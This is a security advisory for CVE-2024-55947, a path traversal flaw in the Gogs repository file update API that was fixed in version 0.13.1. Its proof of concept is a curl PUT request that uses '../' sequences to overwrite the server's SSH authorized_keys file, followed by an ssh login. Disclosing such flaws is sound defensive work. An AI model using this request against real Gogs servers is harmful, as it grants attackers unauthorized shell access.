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GHSA-qf5v-rp47-55gg Path Traversal in file update API in gogs

HIGH Published 2024-12-23 Modified 2025-04-10 Official page ↗
Aliases
CVE-2024-55947
Ecosystem
Go
Packages
gogs.io/gogs
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-22
Reviewed
2024-12-23

Affected packages

• Go gogs.io/gogs: < 0.13.1 → fixed in 0.13.1

Description

Impact The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. Patches Writing files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev. Workarounds No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions. References n/a Proof of Concept 1. Generate a Personal Access Tokens 2. Edit any file on the server with this ```bash curl -v --path-as-is -X PUT --url "http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys" \ -H "Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf" \ -H "Content-Type: application/json" \ --data '{ "message": "an", "content": "" }' ``` 3. ssh connect to remote server ```bash ssh -i temp git@localhost -p 10022 ``` For more information If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.

Related

Alias · CVE (1)

  • CVE-2024-55947 Gogs is an open source self-hosted Git service. vulnerability

Weakness · CWE (1)

  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness

References